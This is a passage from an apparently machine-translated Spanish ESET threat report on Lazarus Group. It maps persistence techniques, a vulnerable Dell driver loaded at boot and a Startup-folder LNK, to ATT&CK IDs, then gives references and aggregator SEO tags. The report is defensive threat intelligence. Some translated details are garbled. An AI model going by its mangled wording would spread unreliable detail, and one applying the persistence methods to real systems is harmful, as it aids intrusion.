Persistencia | T1547.006 | Ejecución de inicio automático de inicio o inicio de sesión: Módulos y extensiones del kernel | El BYOVD DBUtils_2_3.sys se instaló para iniciar a través del cargador de arranque (valor 0x00 existentes Inicio clave debajo HKLMSYSTEMCurrentControlSetServices. |
T1547.001 | Ejecución de inicio automático de inicio o inicio de sesión: carpeta de inicio | El cuentagotas del descargador HTTP(S) crea un archivo LNK OneNoteTray.LNK en la carpeta Inicio. |
Referencias
Ahnlab. Informe de análisis sobre el ataque de rootkit de Lazarus Group usando BYOVD. verso 1.0. 22 de septiembre de 2022. Obtenido de AhnLab Security Emergency Response Center.
Ahnlab. (2021, 4 de junio). Ataques de APT a empresas nacionales que utilizan archivos de biblioteca. Obtenido de AhnLab Security Emergency Response Center.
Ahnlab. (2022, 22 de septiembre). Informe de análisis sobre el ataque de rootkit de Lazarus Group usando BYOVD. Obtenido de AhnLab Security Emergency Response Center.
Breitenbacher, D. y Kaspars, O. (junio de 2020). Operación In(ter)ception: empresas aeroespaciales y militares en el punto de mira de los ciberespías. Obtenido de WeLiveSecurity.com.
Equipo de investigación ClearSky. (2020, 13 de agosto). Operación 'Trabajo de ensueño' Campaña de espionaje generalizada de Corea del Norte. Obtenido de ClearSky.com.
Dekel, K. (sf). Investigación de seguridad de Sentinel Labs. CVE-2021-21551: Cientos de millones de computadoras Dell en riesgo debido a múltiples fallas de escalada de privilegios del controlador BIOS. Obtenido de SentinelOne.com.
ESET. (2021, 3 de junio). Informe de amenazas de ESET T 1 2021. Obtenido de WeLiveSecurity.com.
Estupendo. (2016, 16 de agosto). El sorteo de la ecuación. Obtenido de SecureList.com.
HvS-Consulting AG. (2020, 15 de diciembre). Saludos de Lázaro: Anatomía de una campaña de ciberespionaje. Obtenido de hvs-consulting.de.
Cherepanov, A. y Kálnai, P. (2020, noviembre). Ataque a la cadena de suministro de Lazarus en Corea del Sur. Obtenido de WeLiveSecurity.com.
Kálnai, P. (2017, 2 17). Desmitificando el malware dirigido utilizado contra los bancos polacos. (ESET) Obtenido de WeLiveSecurity.com.
Kopeytsev, V. y Park, S. (2021, febrero). Lazarus apunta a la industria de defensa con ThreatNeedle. (Kaspersky Lab) Obtenido de SecureList.com.
Lee, T.-w., Dong-wook y Kim, B.-j. (2021). Operación BookCode: dirigida a Corea del Sur. Boletín de Virus. servidor local. Obtenido de vblocalhost.com.
Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M. y Gupta, Y. (2022, 14 de septiembre). ¡Es hora de masilla! RPDC Oportunidad de empleo Phishing a través de WhatsApp. Obtenido de Mandiant.com.
Tomonaga, S. (2020 de septiembre de 29). BLINDINGCAN – Malware utilizado por Lazarus. (JPCERT/CC) Obtenido de blogs.jpcert.or.jp.
US-CERT CISA. (2020, 19 de agosto). MAR-10295134-1.v1 – Troyano de acceso remoto norcoreano: BLINDINGCAN. (CISA) Obtenido de cisa.gov.
Weidemann, A. (2021, 1). Nueva campaña dirigida a investigadores de seguridad. (Grupo de análisis de amenazas de Google) Obtenido de blog.google.
Wu, H. (2008). El cifrado de flujo HC-128. En M. Robshaw y O. Billet, Nuevos diseños de cifrado de flujo (Vol. 4986). Berlín, Heidelberg: Springer. Obtenido de doi.org.
- blockchain
- Coingenius
- carteras de criptomonedas
- intercambio crypto
- seguridad cibernética
- ciberdelincuentes
- La Ciberseguridad
- departamento de seguridad nacional
- billeteras digitales
- Investigación de ESET
- cortafuegos
- Kaspersky
- el malware
- Mcafee
- NexBLOC
- Platón
- platón ai
- Inteligencia de datos de Platón
- Juego de Platón
- PlatónDatos
- juego de platos
- VPN
- Vivimos la seguridad
- seguridad del sitio web
- zephyrnet